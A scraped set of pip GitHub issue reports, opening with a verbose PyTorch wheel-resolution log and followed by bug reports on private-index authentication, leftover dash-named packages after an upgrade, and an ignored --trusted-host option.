    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/65/96/c97c8a0ea8f66de41f452925b521bcfdebef6fffb899dc704fc269d87563/torch-1.3.1-cp36-none-macosx_10_7_x86_64.whl#sha256=77fd8866c0bf529861ffd850a5dada2190a8d9c5167719fb0cfa89163e23b143 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/f9/34/2107f342d4493b7107a600ee16005b2870b5a0a5a165bdf5c5e7168a16a6/torch-1.3.1-cp37-cp37m-manylinux1_x86_64.whl#sha256=72a1c85bffd2154f085bc0a1d378d8a54e55a57d49664b874fe7c949022bf071 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/7e/94/0ed9f7899aa0f5e7ff753a3a2b6944c146eef3f4cd51c59ab07c4575992b/torch-1.3.1-cp37-none-macosx_10_7_x86_64.whl#sha256=134e8291a97151b1ffeea09cb9ddde5238beb4e6d9dfb66657143d6990bfb865 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/f6/6a/6c094d561eeee5c640422662bdb5e7291a458e4f6d0cc487fd25dab6e92e/torch-1.4.0-cp27-cp27m-manylinux1_x86_64.whl#sha256=271d4d1e44df6ed57c530f8849b028447c62b8a19b8e8740dd9baa56e7f682c1 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/46/ca/306bb933a68b888ab1c20ede0342506b85857635f04fb55a56e53065579b/torch-1.4.0-cp27-cp27mu-manylinux1_x86_64.whl#sha256=6f2fd9eb8c7eaf38a982ab266dbbfba0f29fb643bc74e677d045d6f2595e4692 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/e5/fc/738857432c0877008821aac85df30a276e8eebc812a749ac6fbbba0f4ea9/torch-1.4.0-cp27-none-macosx_10_7_x86_64.whl#sha256=30ce089475b287a37d6fbb8d71853e672edaf66699e3dd2eb19be6ce6296732a (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/47/69/7a1291b74a3af0043db9048606daeb8b57cd9dea90b9df740485f3843878/torch-1.4.0-cp35-cp35m-manylinux1_x86_64.whl#sha256=54d06a0e8ee85e5a437c24f4af9f4196c819294c23ffb5914e177756f55f1829 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/a7/b7/8ceb6ddfe5af19b63b7f7cbfe45bbe323eb6fcc1a7e5480454f8b2f50e46/torch-1.4.0-cp35-none-macosx_10_6_x86_64.whl#sha256=bb1e87063661414e1149bef2e3a2499ce0b5060290799d7e26bc5578037075ba (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/24/19/4804aea17cd136f1705a5e98a00618cb8f6ccc375ad8bfa437408e09d058/torch-1.4.0-cp36-cp36m-manylinux1_x86_64.whl#sha256=8856f334aa9ecb742c1504bd2563d0ffb8dceb97149c8d72a04afa357f667dbc (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/e1/17/95f76742a61cbf6e787314eb2e331729db5a3bde6c5924b4ebd9174bea54/torch-1.4.0-cp36-none-macosx_10_9_x86_64.whl#sha256=9a1b1db73d8dcfd94b2eee24b939368742aa85f1217c55b8f5681e76c581e99a (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/1a/3b/fa92ece1e58a6a48ec598bab327f39d69808133e5b2fb33002ca754e381e/torch-1.4.0-cp37-cp37m-manylinux1_x86_64.whl#sha256=8fff03bf7b474c16e4b50da65ea14200cc64553b67b9b2307f9dc7e8c69b9d28 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/4a/72/0282449efe6e8a7ab6354ac990b8275bd8c881dcbf95b3ef0a041da3897b/torch-1.4.0-cp37-none-macosx_10_9_x86_64.whl#sha256=405b9eb40e44037d2525b3ddb5bc4c66b519cd742bff249d4207d23f83e88ea5 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Found link https://files.pythonhosted.org/packages/bc/47/5b7c4f832b600779eed76cac86efbd5054f124bc919930aced51de2ccbb1/torch-1.4.0-cp38-cp38-manylinux1_x86_64.whl#sha256=504915c6bc6051ba6a4c2a43c446463dff04411e352f1e26fe13debeae431778 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*), version: 1.4.0
    Skipping link: none of the wheel's tags match: cp38-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/53/e1/f2ba65890bb3ed98eda66ec9195e97b9b1b5824117ff4c8ad3b3f298e464/torch-1.4.0-cp38-none-macosx_10_9_x86_64.whl#sha256=d7b34a78f021935ad727a3bede56a8a8d4fda0b0272314a04c5f6890bbe7bb29 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/9f/2f/055ad72a8b1f9eecfbbb28e2476b0a84736f37bb520a66387e6d8b19c6d4/torch-1.5.0-cp27-none-macosx_10_7_x86_64.whl#sha256=6fcfe5deaf0788bbe8639869d3c752ff5fe1bdedce11c7ed2d44379b1fbe6d6c (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/29/2a/7ef31c8057c6679ad0019974dc9f6d0ad9dbd71d45eaa60f2e33f1b2baf8/torch-1.5.0-cp35-cp35m-manylinux1_x86_64.whl#sha256=931b79aed9aba50bf314214be6efaaf7972ea9539a3d63f82622bc5860a1fd81 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/1d/04/42e82a3ea57491df8cc2de60b5706c949e502a49ea25d18d2cac44b778af/torch-1.5.0-cp35-none-macosx_10_6_x86_64.whl#sha256=7f3d6af2d7e2576b9640aa684f0c18a773efffe8b37f9056272287345c1dcba5 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/13/70/54e9fb010fe1547bc4774716f11ececb81ae5b306c05f090f4461ee13205/torch-1.5.0-cp36-cp36m-manylinux1_x86_64.whl#sha256=dfaac4c5d27ac80705956743c34fb1ab5fb37e1646a6c8e45f05f7e739f6ea7c (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/c9/e0/12f7c10e6b932f5e5d39f4ed5697b41b7751443a652d8c1c031e12e197f0/torch-1.5.0-cp36-none-macosx_10_9_x86_64.whl#sha256=402951484443bb49b5bc2129414ac6c644c07b8378e79922cf3645fd08cbfdc9 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/76/58/668ffb25215b3f8231a550a227be7f905f514859c70a65ca59d28f9b7f60/torch-1.5.0-cp37-cp37m-manylinux1_x86_64.whl#sha256=865d4bec21542647e0822e8b753e05d67eee874974a3937273f710edd99a7516 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/59/6f/cdee668c94f5efb3745e9485765fd6b4918a855f7d36c0514ddf38daaddf/torch-1.5.0-cp37-none-macosx_10_9_x86_64.whl#sha256=3cc72d36eaeda96488e3a29373f739b887338952417b3e1620871063bf5d14d2 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Found link https://files.pythonhosted.org/packages/ec/77/6de2895b3f0953f5e4bd9c7bb3f04552124051d1c0eb66697354aa510bf9/torch-1.5.0-cp38-cp38-manylinux1_x86_64.whl#sha256=ecdc2ea4011e3ec04937b6b9e803ab671c3ac04e81b1df20354e01453e508b2f (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0), version: 1.5.0
    Skipping link: none of the wheel's tags match: cp38-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/5c/8a/a64859cbcfc0f7cfe15130ebcb8d70701936c7520036fbc379bee565c395/torch-1.5.0-cp38-none-macosx_10_9_x86_64.whl#sha256=cb4412c6b00117ab5e014d07dac45b87f1e918e31fbb849e7e39f1f9140fff59 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/77/0c/c70f85961ad643801e82276087c8d816ae9b3d9119645313232b73840579/torch-1.5.1-cp35-cp35m-manylinux1_x86_64.whl#sha256=b84fd18fd8216b74a19828433c3beeb1f0d1d29f45dead3be9ed784ae6855966 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/f1/fd/65e6551b9d09b9e796af9aec9129eae8b105d3f416d1fb39e3b85d29bcf5/torch-1.5.1-cp35-none-macosx_10_6_x86_64.whl#sha256=5d909a55cd979fec2c9a7aa35012024b9cc106acbc496faf5de798b148406450 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/62/01/457b49d790b6c4b9720e6f9dbbb617692f6ce8afdaadf425c055c41a7416/torch-1.5.1-cp36-cp36m-manylinux1_x86_64.whl#sha256=a358cee1d35b86757bf915e320ba776d39c20e60db50779060842efc86f02edd (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/85/e2/690ecae13b307cc676fd115a2e756688b83a6a6dec0c093c123777396b43/torch-1.5.1-cp36-none-macosx_10_9_x86_64.whl#sha256=0a83f41140222c7cc947aa29ed253f3e6fa490606d3d4acd02bfd9f338e3c707 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/a4/cf/007b6de316c9f3d4cb315a60c308342cc299e464167f5ebc369e93b5e23a/torch-1.5.1-cp37-cp37m-manylinux1_x86_64.whl#sha256=70046cf66eb40ead89df25b8dcc571c3007fc9849d4e1d254cc09b4b355374d4 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/5d/ad/51da3af99a515c31226f50c37d85e63423f9e28174c2984e11e4fb47ae01/torch-1.5.1-cp37-none-macosx_10_9_x86_64.whl#sha256=bb2a3e6c9c9dbfda856bd1b1a55d88789a9488b569ffba9cd6d9aa536ef866ba (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Found link https://files.pythonhosted.org/packages/bd/be/3093d92b543a84e7dc0731f9c5b4e8ffe3c6e3b52f0d7bf3a5aa360ba305/torch-1.5.1-cp38-cp38-manylinux1_x86_64.whl#sha256=c42658f2982591dc4d0459645c9ab26e0ce18aa7ab0993c27c8bcb1c98931d11 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0), version: 1.5.1
    Skipping link: none of the wheel's tags match: cp38-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/99/d4/799d207b2006ae317d117b44e47854ab65ab69789aed85734d41c39a2d48/torch-1.5.1-cp38-none-macosx_10_9_x86_64.whl#sha256=ff1dbeaa017bae66036e8e7a698a5475ac5a0d7b0a690f0a04ac3b1133b1feb3 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.6.0)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/38/53/914885a93a44b96c0dd1c36f36ff10afe341f091230aad68f7228d61db1e/torch-1.6.0-cp36-cp36m-manylinux1_x86_64.whl#sha256=7669f4d923b5758e28b521ea749c795ed67ff24b45ba20296bc8cff706d08df8 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/c6/80/c194bc40b4b146ffdc253441c2153fe30032ee1fedd96c6421bbfa2a9ded/torch-1.6.0-cp36-none-macosx_10_9_x86_64.whl#sha256=728facb972a5952323c6d790c2c5922b2b35c44b0bc7bdfa02f8639727671a0c (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/5d/5e/35140615fc1f925023f489e71086a9ecc188053d263d3594237281284d82/torch-1.6.0-cp37-cp37m-manylinux1_x86_64.whl#sha256=87d65c01d1b70bb46070824f28bfd93c86d3c5c56b90cbbe836a3f2491d91c76 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/58/26/6b86448bda61c1ce463ad2c962641a933113f4496de16085df41217cdccc/torch-1.6.0-cp37-none-macosx_10_9_x86_64.whl#sha256=3838bd01af7dfb1f78573973f6842ce75b17e8e4f22be99c891dcb7c94bc13f5 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Found link https://files.pythonhosted.org/packages/8c/5d/faf0d8ac260c7f1eda7d063001c137da5223be1c137658384d2d45dcd0d5/torch-1.6.0-cp38-cp38-manylinux1_x86_64.whl#sha256=5357873e243bcfa804c32dc341f564e9a4c12addfc9baae4ee857fcc09a0a216 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1), version: 1.6.0
    Skipping link: none of the wheel's tags match: cp38-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/76/ad/d30381549db0ecfd2c89db746be50515f4f54d8ce1347d95d16211b45658/torch-1.6.0-cp38-none-macosx_10_9_x86_64.whl#sha256=4f9a4ad7947cef566afb0a323d99009fe8524f0b0f2ca1fb7ad5de0400381a5b (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/80/2a/58f8078744e0408619c63148f7a2e8e48cf007e4146b74d4bb67c56d161b/torch-1.7.0-cp36-cp36m-manylinux1_x86_64.whl#sha256=6b0c9b56cb56afe3ecbac79351d21c6f7172dffc7b7daa8c365f660541baf1a5 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp36-cp36m-win_amd64: https://files.pythonhosted.org/packages/e8/41/809e807bc34e541c9da87330dc79da742fe8a6e24a130c3a62df19862f48/torch-1.7.0-cp36-cp36m-win_amd64.whl#sha256=b609b30b09627409612461b247531cf50894256e8b026105f1bc3858d67c2fa7 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/95/37/6ee116858f016f1bf1123664142978941df88002f159168be9b709ac0d6c/torch-1.7.0-cp36-none-macosx_10_9_x86_64.whl#sha256=e8cc3b2c3937b7ae036a3b447a189af049bfc006bca054fc1d8ae78766ca3105 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/d9/74/d52c014fbfb50aefc084d2bf5ffaa0a8456f69c586782b59f93ef45e2da9/torch-1.7.0-cp37-cp37m-manylinux1_x86_64.whl#sha256=1520c48430dea38e5845b7b3defc9054edad45f1f245808aa268ade840bb2c2a (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp37-cp37m-win_amd64: https://files.pythonhosted.org/packages/24/44/2b66a46b8ce7895a96db1a6dc525d9a9910353f7ca323bf04d0753603f18/torch-1.7.0-cp37-cp37m-win_amd64.whl#sha256=a29a7aab6fa161259219c8aaa88b25abbf214ec098a002c4499660c23e0f6c33 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/fe/cc/544a31511a36e0ace9e7c19b9cccc2385ff37b1f5d9d341bd4e1728a8a6f/torch-1.7.0-cp37-none-macosx_10_9_x86_64.whl#sha256=89cb8774243750bd3fd2b3b3d09bab6e3be68b1785ad48b8411f1eb4fc7acdba (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Found link https://files.pythonhosted.org/packages/05/2d/bb4611cf053eaa679f6086b78cff2776ff1d51a15fe5e063cdcbfc6b5577/torch-1.7.0-cp38-cp38-manylinux1_x86_64.whl#sha256=11054f26eee5c3114d217201dba5b3a35f1745d11133c123c077c5981bc95997 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1), version: 1.7.0
    Skipping link: none of the wheel's tags match: cp38-cp38m-win_amd64: https://files.pythonhosted.org/packages/8e/57/3066077aa16a852f3da0239796fa487baba0104ca2eb26f9ca4f56a7a86d/torch-1.7.0-cp38-cp38m-win_amd64.whl#sha256=83538fd7920bd02c8b6403ebe4ecee3e0641fe7bb6a18efc4585d2e1375ad1de (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp38-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/e0/8e/b15082866a263258b7850b42316d735229e23d3387480e5850897f8f39f1/torch-1.7.0-cp38-none-macosx_10_9_x86_64.whl#sha256=b8000e39600e101b2f19dbbab75de663a3b78e3979c3e1720b7136aae1c35ce2 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.1)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/90/4f/acf48b3a18a8f9223c6616647f0a011a5713a985336088d7c76f3a211374/torch-1.7.1-cp36-cp36m-manylinux1_x86_64.whl#sha256=422e64e98d0e100c360993819d0307e5d56e9517b26135808ad68984d577d75a (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
    Skipping link: none of the wheel's tags match: cp36-cp36m-win_amd64: https://files.pythonhosted.org/packages/60/fa/debcf7dcebf446f6ae6ec89177787adefaa1a828027873d961116d9e18f5/torch-1.7.1-cp36-cp36m-win_amd64.whl#sha256=f0aaf657145533824b15f2fd8fde8f8c67fe6c6281088ef588091f03fad90243 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/b6/01/fffb29c3892d80801bc6400e07c90b8fa6cd5f3db5ce9d7ca8068e14e0b2/torch-1.7.1-cp36-none-macosx_10_9_x86_64.whl#sha256=af464a6f4314a875035e0c4c2b07517599704b214634f4ed3ad2e748c5ef291f (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/90/5d/095ddddc91c8a769a68c791c019c5793f9c4456a688ddd235d6670924ecb/torch-1.7.1-cp37-cp37m-manylinux1_x86_64.whl#sha256=5d76c255a41484c1d41a9ff570b9c9f36cb85df9428aa15a58ae16ac7cfc2ea6 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
    Skipping link: none of the wheel's tags match: cp37-cp37m-win_amd64: https://files.pythonhosted.org/packages/5d/9f/68a18d38927ccf56f30062344b2f1e439dc293610711958b249c0a1f7606/torch-1.7.1-cp37-cp37m-win_amd64.whl#sha256=d241c3f1c4d563e4ba86f84769c23e12606db167ee6f674eedff6d02901462e3 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/96/5f/d2157c05a2ff941a5c221982c28311802e1cde3c1b0279fc5cac17b0f39f/torch-1.7.1-cp37-none-macosx_10_9_x86_64.whl#sha256=de84b4166e3f7335eb868b51d3bbd909ec33828af27290b4171bce832a55be3c (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
    Found link https://files.pythonhosted.org/packages/1d/a9/f349273a0327fdf20a73188c9c3aa7dbce68f86fad422eadd366fd2ed7a0/torch-1.7.1-cp38-cp38-manylinux1_x86_64.whl#sha256=dd2fc6880c95e836960d86efbbc7f63d3287f2e1893c51d31f96dbfe02f0d73e (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2), version: 1.7.1
    Skipping link: none of the wheel's tags match: cp38-cp38-win_amd64: https://files.pythonhosted.org/packages/b3/d1/a5eaef4fadbee9e31133b364a143aab54133fee5e6087e84c6a8f883b0f1/torch-1.7.1-cp38-cp38-win_amd64.whl#sha256=e000b94be3aa58ad7f61e7d07cf379ea9366cf6c6874e68bd58ad0bdc537b3a7 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
    Skipping link: none of the wheel's tags match: cp38-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/19/6f/19213dd7c209acdd7f4a0b5a48cf47a117e6676704b0ed1831acc13f620a/torch-1.7.1-cp38-none-macosx_10_9_x86_64.whl#sha256=2e49cac969976be63117004ee00d0a3e3dd4ea662ad77383f671b8992825de1a (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
    Skipping link: none of the wheel's tags match: cp39-cp39-manylinux1_x86_64: https://files.pythonhosted.org/packages/41/f4/4da4f26a04d93851e481e76ec17fed0d152a1691e8f1142ad763c9f07997/torch-1.7.1-cp39-cp39-manylinux1_x86_64.whl#sha256=a3793dcceb12b1e2281290cca1277c5ce86ddfd5bf044f654285a4d69057aea7 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
    Skipping link: none of the wheel's tags match: cp39-cp39-win_amd64: https://files.pythonhosted.org/packages/d6/c1/70f2fd464a895844a9bf4cf1d93b09eb6cd5edf8274d19a7fed2ed6c4cc3/torch-1.7.1-cp39-cp39-win_amd64.whl#sha256=6652a767a0572ae0feb74ad128758e507afd3b8396b6e7f147e438ba8d4c6f63 (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
    Skipping link: none of the wheel's tags match: cp39-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/79/c8/7f7843dcbaf2263918d257e8022770be577a3d7587dd0ddf8171947eabb4/torch-1.7.1-cp39-none-macosx_10_9_x86_64.whl#sha256=38d67f4fb189a92a977b2c0a38e4f6dd413e0bf55aa6d40004696df7e40a71ff (from https://pypi.org/simple/torch/) (requires-python:>=3.6.2)
  Given no hashes to check 6 links for project 'torch': discarding no candidates
   [...]
  Given no hashes to check 40 links for project 'wheel': discarding no candidates
  Collecting torch>=1.4.0
    Created temporary directory: /tmp/pip-unpack-9i9miqsz
    Getting credentials from keyring for files.pythonhosted.org
    Looking up "https://files.pythonhosted.org/packages/1d/a9/f349273a0327fdf20a73188c9c3aa7dbce68f86fad422eadd366fd2ed7a0/torch-1.7.1-cp38-cp38-manylinux1_x86_64.whl" in the cache
    No cache entry available
    Starting new HTTPS connection (1): files.pythonhosted.org:443
    https://files.pythonhosted.org:443 "GET /packages/1d/a9/f349273a0327fdf20a73188c9c3aa7dbce68f86fad422eadd366fd2ed7a0/torch-1.7.1-cp38-cp38-manylinux1_x86_64.whl HTTP/1.1" 200 776818711
    Downloading torch-1.7.1-cp38-cp38-manylinux1_x86_64.whl (776.8 MB)
^C  Installing build dependencies ... canceled
ERROR: Operation cancelled by user

```

user: leezu
labels: C: build logic: Stuff related to metadata generation / wheel generation
issue_9430: state: open
title: EOF Error when Installing from Private PyPI with Basic Authentication
body: In expected re-opening of [#5263](https://github.com/pypa/pip/issues/5263):

When using a private repository requiring authentication via username and password as index-url or extra-index-url, `pip` exits with status 2 due to an EOF end-of-file error.
The issue is not present in pip version 9.0.3, however with the most recent 20.3.3 and at least several more >9.0.3 (I tried like 6 different versions).

Reproduction of the issue:
```bash
python -m pip install . --extra-index-url=https://the-private-pypi.com
```



user: Gregor1337
issue_9417: state: open
title: Self upgarde leaves dashed packages.
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 20.2.3
* Python version: 3.9.1
* OS: Windows 10

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
After upgrading pip on fresh python installation (suddenly without latest pip) packages with dash prefix are left and can not be removed due to dashes are forbidden.

    >path/to/python -m pip install --upgrade pip
    ...
    >pip list
    Package    Version
    ---------- -------
    -          p
    -ip        20.2.3
    pip        20.3.3
    setuptools 51.1.1
    >pip uninstall -ip
    ...
    no such option: -i



**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
1.  Latest python installation should be shipped with latest pip or without any!
2.       >path/to/python -m pip install --upgrade pip
          ...
          >pip list
          Package    Version
          ---------- -------
          pip        20.3.3
          setuptools 51.1.1

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

    >choco install python
    >pip list
    ...
    You are using pip version 20.2.3; however, version 20.3.3 is available.
    >path/to/python -m pip install --upgrade pip
    ...
    >pip list
    Package    Version
    ---------- -------
    -          p
    -ip        20.2.3
    pip        20.3.3
    setuptools 51.1.1



user: baterflyrity
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9328: state: open
title: --trusted-host not passed to sub command wheel
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: pip 20.3.3 from /usr/local/lib/python3.6/dist-packages/pip (python 3.6)
* Python version: python 3.6
* OS: Ubuntu 18.04

<!-- Feel free to add more information about your environment here -->

**Description**

a default config  ~/.pip/pip.conf
```
[global]
  index-url=http://test/
[install]
  trusted-host=test
```

index url is overridden by `-i` in the command line
```
pip3 install -i https://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.cloud.aliyuncs.com twisted==18.9.0

Looking in indexes: https://mirrors.aliyun.com/pypi/simple
Collecting twisted==18.9.0
